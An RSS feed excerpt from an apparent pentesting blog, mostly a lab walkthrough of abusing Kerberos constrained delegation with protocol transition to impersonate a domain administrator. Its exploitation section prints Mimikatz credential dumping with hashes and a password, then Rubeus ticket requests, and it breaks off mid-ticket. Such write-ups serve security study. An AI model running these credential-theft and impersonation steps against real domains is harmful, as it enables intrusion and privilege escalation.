&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SID&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;               &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;S-1-5-21-3816950244-2414788102-2833019223-512&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Keep in mind that for the &lt;strong&gt;Domain Admins&lt;/strong&gt; group, you can see the proof that the &lt;strong&gt;Security Descriptor Propagator&lt;/strong&gt; has been processed thanks to the property &lt;strong&gt;admincount&lt;/strong&gt; set to &lt;strong&gt;1&lt;/strong&gt;, meaning that “Domain Admins” is a &lt;strong&gt;Protected Group&lt;/strong&gt; as we will see later. It’s not the case for DnsAdmins.&lt;/p&gt;

&lt;p&gt;Thanks for reading and see you in &lt;a href=&quot;https://phackt.org/dnsadmins-group-mitigation&quot;&gt;part 2&lt;/a&gt;,&lt;br /&gt;
Phackt.&lt;/p&gt;
</description>
        <pubDate>Thu, 22 Apr 2021 00:00:00 +0000</pubDate>
        <link>https://phackt.org/dnsadmins-group-exploitation-write-permissions</link>
        <guid isPermaLink="true">https://phackt.org/dnsadmins-group-exploitation-write-permissions</guid>
        
        
        <category>Pentesting</category>
        
      </item>
    
      <item>
        <title>Kerberos constrained delegation with protocol transition</title>
        <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;Today, we are talking about the exploitation of Kerberos protocol extensions &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/02636893-7a1f-4357-af9a-b672e3e3de13&quot;&gt;S4U2Self&lt;/a&gt; and &lt;a href=&quot;https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-sfu/bde93b0e-f3c9-4ddf-9f44-e1453be7af5a&quot;&gt;S4U2Proxy&lt;/a&gt; in order to impersonate a privileged user of the domain.&lt;/p&gt;

&lt;p&gt;This post aims at focusing on the &lt;a href=&quot;https://docs.microsoft.com/fr-fr/previous-versions/windows/it-pro/windows-server-2003/cc739587(v=ws.10)&quot;&gt;Kerberos constrained delegation with protocol transition&lt;/a&gt; which we will shorten &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T2A4D&lt;/code&gt; (&lt;strong&gt;TrustedToAuthForDelegation&lt;/strong&gt;); how to enumerate it, how to exploit it and use it as a method of persistence. &lt;br /&gt;
&lt;!--more--&gt;
To not reinvent the wheel, you will find a very good article introducing the kerberos delegation on the blog &lt;a href=&quot;https://beta.hackndo.com/constrained-unconstrained-delegation/&quot;&gt;hackndo&lt;/a&gt;.&lt;/p&gt;

&lt;h1 id=&quot;implementation-of-the-constrained-delegation-with-protocol-transition--msds-allowedtodelegateto&quot;&gt;Implementation of the constrained delegation with protocol transition + msDS-AllowedToDelegateTo&lt;/h1&gt;

&lt;h2 id=&quot;prerequisites&quot;&gt;Prerequisites&lt;/h2&gt;

&lt;p&gt;There are two methods to benefit from the Active Directory cmdlets:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Get-WindowsCapability -Name Rsat.ActiveDirectory* -Online | Add-WindowsCapability -Online&lt;/code&gt;&lt;br /&gt;
&lt;em&gt;N.B: can also be done offline thanks to the downloadable &lt;a href=&quot;https://my.visualstudio.com/Downloads/Featured&quot;&gt;iso&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/samratashok/ADModule&quot;&gt;https://github.com/samratashok/ADModule&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;trustedtoauthfordelegation&quot;&gt;TrustedToAuthForDelegation&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; is a machine account of the domain.&lt;/p&gt;

&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Get-ADComputer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADAccountControl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-TrustedToAuthForDelegation&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$True&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ADComputer&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Identity&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;srv&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Add&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@{&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;msDS-AllowedToDelegateTo&apos;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;@(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TIME/DC.WINDOMAIN.LOCAL&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;TIME/DC&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or through GUI:&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/setup_t2a4d.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Note that the constrained delegation can also be based on the resource (property &lt;strong&gt;msds-allowedtoactonbehalfofotheridentity&lt;/strong&gt;).&lt;br /&gt;
Indeed, it seems more consistent to give legitimacy to a resource to decide which other resource can access it. We will come back to this later.&lt;/p&gt;

&lt;p&gt;Let’s get our hands dirty.&lt;/p&gt;

&lt;h1 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h1&gt;

&lt;p&gt;The first interesting thing is to be able to list the service accounts affected by T2A4D :&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;PS&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;C:\tools&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;Get-ADObject&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-LDAPFilter&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;(useraccountcontrol:1.2.840.113556.1.4.803:=16777216)&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Properties&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;distinguishedName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samAccountType&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;userAccountControl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;msDS-AllowedToDelegateTo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;servicePrincipalName&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;n&quot;&gt;fl&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;


&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;useraccountcontrol&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;       &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WORKSTATION_TRUST_ACCOUNT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;serviceprincipalname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;     &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;WSMAN/SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WSMAN/SRV.windomain.local&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TERMSRV/SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TERMSRV/SRV.windomain.local...&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msds-allowedtodelegateto&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;TIME/DC&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;TIME/DC.WINDOMAIN.LOCAL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;distinguishedname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SRV&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;CN&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Computers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;windomain&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;DC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;local&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;samaccountname&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;SRV&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;samaccounttype&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;           &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;MACHINE_ACCOUNT&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The tool &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt; will find it all for you.&lt;/p&gt;

&lt;h1 id=&quot;attack-scenario&quot;&gt;Attack scenario&lt;/h1&gt;

&lt;p&gt;We are going to compromise a machine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; with the attribute &lt;a href=&quot;https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties&quot;&gt;useraccountcontrol&lt;/a&gt; with the value &lt;strong&gt;trusted_to_auth_for_delegation&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/t2a4d/recon_t2a4d.png&quot; alt=&quot;t2a4d&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The machine &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; runs a service &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; on which a user &lt;em&gt;whatever&lt;/em&gt; authenticates using another mechanism than Kerberos (e.g. a web application with NTLM or basic authentication). In this case, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; (or the web application) did not get any service ticket proving authentication from &lt;em&gt;whatever&lt;/em&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt;. This service ticket is normally used by the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;S4U2Proxy&lt;/code&gt; mechanism in order to carry out the classical constrained delegation.&lt;/p&gt;

&lt;p&gt;This is where the &lt;strong&gt;constrained delegation with protocol transition&lt;/strong&gt; comes in. The latter will still allow the “double hop” and allow &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; to request a service ticket for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; by taking the identity of the user &lt;em&gt;whatever&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; is either in the &lt;strong&gt;msDS-AllowedToDelegateTo&lt;/strong&gt; field of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt;:&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/msds_a2d2.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; is in the &lt;strong&gt;msDS-AllowedToActOnBehalfOfOtherIdentity&lt;/strong&gt; field of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt; (Resource-Based Constrained Delegation).&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/msds_actonbehalf.png&quot; style=&quot;margin-top:1.5rem;margin-bottom:1.5rem;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;This delegation will involve the protocol extensions &lt;strong&gt;ServiceForUserToSelf&lt;/strong&gt; and &lt;strong&gt;ServiceForUserToProxy&lt;/strong&gt; :&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;S4U2Self&lt;/strong&gt; will simulate the kerberos authentication and thus the service ticket request for the user &lt;em&gt;whatever&lt;/em&gt;.&lt;br /&gt;
   &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; will somehow request a service ticket for itself for an arbitrary user.&lt;br /&gt;
   The result is a &lt;em&gt;forwardable&lt;/em&gt; &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; service ticket that can then be passed to the &lt;strong&gt;S4U2Proxy&lt;/strong&gt; mechanism, the latter used for classical constrained delegation.&lt;/p&gt;

    &lt;p&gt;Please note that the &lt;em&gt;forwardable&lt;/em&gt; flag &lt;del&gt;is&lt;/del&gt; was necessary and will be set if the delegating service account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; is marked as &lt;a href=&quot;https://docs.microsoft.com/fr-fr/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties&quot;&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/a&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;&lt;strong&gt;S4U2Proxy&lt;/strong&gt; will use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; as a proof of &lt;em&gt;whatever&lt;/em&gt; authentication to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; in order to obtain a &lt;em&gt;forwarded&lt;/em&gt; service ticket for &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;p&gt;The arbitrary user &lt;em&gt;whatever&lt;/em&gt; connects to the service &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SB&lt;/code&gt;.&lt;/p&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;p class=&quot;note&quot;&gt;
&lt;b&gt;Note about TRUSTED_TO_AUTH_FOR_DELEGATION :&lt;/b&gt;
&lt;br /&gt;&lt;br /&gt;
The &lt;b&gt;S4U2Proxy&lt;/b&gt; mechanism will need a &quot;forwardable&quot; service ticket obtained thanks to S4U2Self mechanism. Note that the flag TRUSTED_TO_AUTH_FOR_DELEGATION is only used for the protocol transition, no flag is set with the classical constrained delegation.&lt;br /&gt;&lt;br /&gt;
Since &lt;a href=&quot;https://support.microsoft.com/en-us/topic/kb4598347-managing-deployment-of-kerberos-s4u-changes-for-cve-2020-17049-569d60b7-3267-e2b0-7d9b-e46d770332ab&quot;&gt;KB4598347&lt;/a&gt;, the KDC will no more check the forwadable flag in the provided service ticket PAC but will directly look into the directory for the right conditions to be met to allow the S4U mechanism ;&lt;br /&gt;&lt;br /&gt;
&lt;span&gt;
- Is the &quot;delegating&quot; service legitimate to run the protocol transition (so here is &lt;i&gt;SA&lt;/i&gt; marked as &lt;b&gt;TRUSTED_TO_AUTH_FOR_DELEGATION&lt;/b&gt;) ?&lt;br /&gt;
- Is the &quot;delegated&quot; account (impersonated user) not a member of the &lt;b&gt;Protected Users&lt;/b&gt; group and is not marked as &quot;&lt;b&gt;Account is sensitive and cannot be delegated&lt;/b&gt;&quot; (NOT_DELEGATED), so is the account allowed to be delegated ?  &lt;br /&gt;
&lt;/span&gt;
&lt;br /&gt;
If you heard about the &lt;b&gt;&lt;a href=&quot;https://www.alsid.com/crb_article/kerberos-delegation/&quot;&gt;Resource-Based Constrained Delegation attack&lt;/a&gt;&lt;/b&gt; (RBCD), you can wonder why if a trustee has the &lt;i&gt;writeProperty&lt;/i&gt; right on a computer account it is so bad ?  
&lt;br /&gt;&lt;br /&gt;
Ok so first of all you can write the &lt;b&gt;msds-AllowedToActOnBehalfOfOtherIdentity&lt;/b&gt; property with the SID of a principal you control, but ;
&lt;br /&gt;&lt;br /&gt;
- Is this principal, the one that you just added to &quot;msds-AllowedToActOnBehalfOfOtherIdentity&quot;, marked as TRUSTED_TO_AUTH_FOR_DELEGATION, so are you really legitimate to impersonate your user and run the S4U protocol extensions ?
&lt;br /&gt;&lt;br /&gt;
In many cases this principal is not marked as TRUSTED_TO_AUTH_FOR_DELEGATION and you can not set this value as we will see later if you are not a privileged domain user.  
&lt;br /&gt;&lt;br /&gt;
So why the the RBCD attack is working ? ; for this special case of &lt;b&gt;Resource-Based Constrained Delegation&lt;/b&gt;, it seems that the KDC &lt;b&gt;only checks if the delegated user is OK to be delegated&lt;/b&gt; (not protected users, not NOT_DELEGATED), but the service (or here the principal which you edited the &quot;msds-AllowedToActOnBehalfOfOtherIdentity&quot; property) is not checked anymore to be legitimate to run the protocol transition (is it marked as TRUSTED_TO_AUTH_FOR_DELEGATION ?, aka T2A4D).&lt;b&gt;
&lt;br /&gt;&lt;br /&gt;
And why this is so interesting, because Microsoft decided that this is a feature, not a bug, so as a consequence this attack (RBCD) is still working on a fully patched Windows Server 2019 domain controller.&lt;/b&gt;  
&lt;br /&gt;&lt;br /&gt;
&lt;img class=&quot;dropshadowclass&quot; src=&quot;https://phackt.org/public/images/t2a4d/twitter_rbcd.png&quot; /&gt;
&lt;/p&gt;

&lt;p&gt;Now let’s get back to our scenario, if the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T2A4D&lt;/code&gt; service account running &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SA&lt;/code&gt; has been compromised, we can generate a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;T_SA&lt;/code&gt; for an arbitrary account (Domain Administrator) for an authorized service (&lt;strong&gt;msDS-AllowedToDelegateTo&lt;/strong&gt; or &lt;strong&gt;msds-AllowedToActOnBehalfOfOtherIdentity&lt;/strong&gt; if resource-based).&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://beta.hackndo.com/service-principal-name-spn/&quot;&gt;SPNs&lt;/a&gt; being interchangeable (unencrypted part of the service ticket), it is possible to modify it by another SPN of the same service account (ex: using the service class &lt;em&gt;CIFS&lt;/em&gt;, which gives us the SPN &lt;em&gt;CIFS/DC&lt;/em&gt; instead of &lt;em&gt;TIME/DC&lt;/em&gt;).&lt;/p&gt;

&lt;pre&gt;
We have to be able to delegate the impersonated account.
&lt;/pre&gt;
&lt;p&gt;It must be neither &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/protected-users-security-group&quot;&gt;Protected Users&lt;/a&gt;, nor “&lt;strong&gt;Account is sensitive and cannot be delegated&lt;/strong&gt;”.&lt;/p&gt;

&lt;h1 id=&quot;exploitation&quot;&gt;&lt;a name=&quot;Exploitation&quot;&gt;&lt;/a&gt;Exploitation&lt;/h1&gt;

&lt;p&gt;It will be necessary to first compile Rubeus (from the repo &lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;, launch the project, “Build -&amp;gt; Build Solution”).&lt;/p&gt;

&lt;p&gt;It is assumed here that the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt; machine has been compromised beforehand. Let’s find out its credentials:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Mimikatz\x64\mimikatz.exe &quot;privilege::debug&quot; &quot;sekurlsa::logonPasswords&quot; &quot;exit&quot;

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 18 2020 19:18:29
 .## ^ ##.  &quot;A La Vie, A L&apos;Amour&quot; - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       &amp;gt; https://blog.gentilkiwi.com/mimikatz
 &apos;## v ##&apos;       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  &apos;#####&apos;        &amp;gt; https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz(commandline) # privilege::debug
Privilege &apos;20&apos; OK

mimikatz(commandline) # sekurlsa::logonPasswords

Authentication Id : 0 ; 19484783 (00000000:0129506f)
Session           : Interactive from 2
User Name         : DWM-2
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 9/25/2020 10:06:29 AM
SID               : S-1-5-90-0-2
        msv :
         [00000003] Primary
         * Username : srv$
         * Domain   : WINDOMAIN
         * NTLM     : b5858035cb595dd82050f9193b220232
         * SHA1     : b7607fdc98a40ae1cfb47478b8d929139d18f6cb
        tspkg :
        wdigest :
         * Username : SRV$
         * Domain   : WINDOMAIN
         * Password : (null)
        kerberos :
         * Username : SRV$
         * Domain   : windomain.local
         * Password : HXEq%dCV$Qp0`b-:LE,zT]x%Sl&amp;amp;G_n8C1eP(aIymKGM-d^E;J5&amp;gt;$uj*0? &amp;amp;duWc:&quot;$tL$KtkJuqE+t[s@fw$#YA:O$Bh&amp;lt;%usYq@vU5 ,i6q^JK=q9bV:Ue?Y
        ssp :
        credman :
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Now we need to unroll the S4U to generate a service ticket, not for &lt;em&gt;TIME/DC&lt;/em&gt;, but for &lt;em&gt;CIFS/DC&lt;/em&gt; for the &lt;strong&gt;WINDOMAIN\Administrator&lt;/strong&gt; user.&lt;/p&gt;

&lt;p&gt;Let’s check that the share &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;\\DC\C$&lt;/code&gt; is refused to us:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;C:\tools&amp;gt;dir \\DC\C$
Access is denied.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;First, we request a TGT for the compromised service account &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;srv$&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cmd&quot;&gt;C:\tools&amp;gt; C:\tools\Rubeus\Rubeus-master\Rubeus\bin\Debug\rubeus.exe asktgt /user:srv$ /domain:windomain.local /ntlm:b5858035cb595dd82050f9193b220232 /outfile:srv.tgt

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: b5858035cb595dd82050f9193b220232
[*] Building AS-REQ (w/ preauth) for: &apos;windomain.local\srv$&apos;
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE5DCCBOCgAwIBBaEDAgEWooID9DCCA/BhggPsMIID6KADAgEFoREbD1dJTkRPTUFJTi5MT0NBTKIk
      MCKgAwIBAqEbMBkbBmtyYnRndBsPd2luZG9tYWluLmxvY2Fso4IDpjCCA6KgAwIBEqEDAgECooIDlASC
      A5DCmCD2rczQzoD7RBj3++6B+e7j68hijB0EoPUE87/OBc6Rw5hAPLzcWFJC8sfBuWWywOB/Y4O6Z9Xv
      IKQsk8mypOz33ffprU2NhtGGz9fcuy2oFKonUhUU3QSCgMT16KOfkpt2QYsan9zV4vUJpdEDrRCkdKCx
      +bu+dL63100hpjT8BlOZDsobNBPalaQRo1AihpxPgA48UtsDVB/hG0A4monF5x2wCBsoKy+7MEBi0CAa
      tLDv60ly4eIvRPijEXkN3Zmm/l1wIzWt4WpcGFdpoSTS+VLkgws9zHVCuoQlOGWURjTHRksHjIG6Exkf
      KXyCBCuO6vUxC+DUv3vCVC1wBEs5e7VXtGPhUzd8jJoSVCc+oSv4zXS+NzVf0RTr8ephMHxrXzzpCVQL
      y+3fLU+5/xcnzZiTypBDnjeluHKnlj+cZhQVniQU5PEhGw+DnaL22QZqOPY08VouXUtE44spKsrRGu8N
      qkwqdLVFTDSNNYgUGFGAvUG7QyWeC/XhbYvA5dpM9DUXhVo7ri3A4TZbLSfdrfiy14cOrl6AV8yD1Afo
      +Dks8KELhnba6JWdY6RVgbgXgvwDuy69JKrTPhifpTwEMrvbJejRnM0iD4YwwPTY6qT9xtXDRw5nfb/N
